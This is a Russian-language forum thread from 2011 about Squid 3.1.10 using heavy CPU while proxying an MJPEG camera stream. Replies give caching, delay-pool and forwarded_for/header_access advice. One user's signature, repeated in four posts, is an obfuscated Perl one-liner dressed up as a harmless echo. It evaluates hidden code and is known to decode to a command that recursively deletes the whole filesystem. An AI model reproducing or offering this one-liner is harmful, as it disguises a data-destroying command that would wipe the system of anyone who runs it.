Squid 3.1.10 98% CPU при передаче видео.

By hawk Date 17.01.11 15:27

Шлюз следующая конфа:

Version: Intel(R) Pentium(R) 4 CPU 3 GHz
Memory - 3 GB

Все пользователи идут через Squid 3.1.10, нагрузка мизер. В сети появилась необходимость поставить камеру, которая отдает видео через прокси сервер, кодек покадровый, 25 к/c в инет. Другой комп подрублен рядом имеет постоянный белый IP адрес из инет сетки. Видео передается, при этом на сквиде очень быстро растет нагрузка достигающая 98%. Пока еще подозрение на delay_pool, завтра исключу IP через прокси из delay_pool.
Что еще указать, посчитали примерный поток от камеры 10 Мбит вроде в локалке, надо еще уточнить разрешение и другие параметры. Внешний инет канал 6 Мбит, ну и юзеру через прокси обрубается до 1Мбит. Вопрос касается нагрузки.

echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

By LOE (Site/forum admin) Date 18.01.11 07:24

> кодек покадровый

MotionJPEG ?
это означает каждый кадр - отдельной картинкой, со всеми отработками в сквиде.
Настрой сквид, чтобы он этот поток не пытался кэшировать.

"No! Try not! Do. Or do not. There is no try." -- Yoda

By hawk Date 18.01.11 07:47 Edited 18.01.11 07:58

Ага, тоже мысли были первая с пулами, вторая с кешированиями, т.к. возможны большие дисковые операции. Кстати при методе CONNECT, т.е. создается труба в которой траф, что с кешированием, не уж то по кадрам?
Сейчас вообще этого чела через NAT скорее всего пущу, чем прокси загружать ерундой всякой. Правда придется шейпер реализовывать.

echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

By slam Date 19.01.11 13:16

Лучше сначало попробуй no_cache сделать для IP камеры.

By hawk Date 19.01.11 14:29

Ладно, с этим разобрался, тут в другом дело, советую всем через прокси посетить страницу http://checker.samair.ru/ и дальше обсудить что по чем.

echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

By LOE (Site/forum admin) Date 20.01.11 11:13

Если ты про передачу данных через заголовки запросов, то крути опцию header_access в сквиде.
Можно как удалить заголовки, так и "поправить" их.
(смотри так-же header_replace и forwarded_for)

"No! Try not! Do. Or do not. There is no try." -- Yoda

By hawk Date 20.01.11 11:46 Edited 20.01.11 11:50

Ага, это прикрыто уже. Линк для всех, кто хочет потестировать свой проксик. Кстати по поводу, почему я тут это выкинул ни с того ни с сего, оффтоп. Очень любопытная ситуация по началу возникла. По дефолту forwarded_for в on стоит (в конфе его нету, но ключ on), соответственно проксик не анонимный, показывает как внешний так и ИП ПК из локалки, который работает через прокси, плюсом версию проксика и прочее. Так вот есть сайт, у которого несколько страниц входили в ступор, т.е. сек 30 что то грузят, далее быстрая передача данных. Лог access молчит, т.е. по нему все верно, сначала ни чего не передается (ошибок запретов нет), потом вижу запросы. При постановке forwarded_for в off проблема решена. На этих страницах, как я предполагаю (уверен на 99%) есть скрипт обрабатывающий кто откуда и зачем (велосипед), так вот думаю именно избыток этой информации приводил к ступору скрипта, еще раз повторюсь - ступор только трех страниц из всего сайта, на которых велся учет.

echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'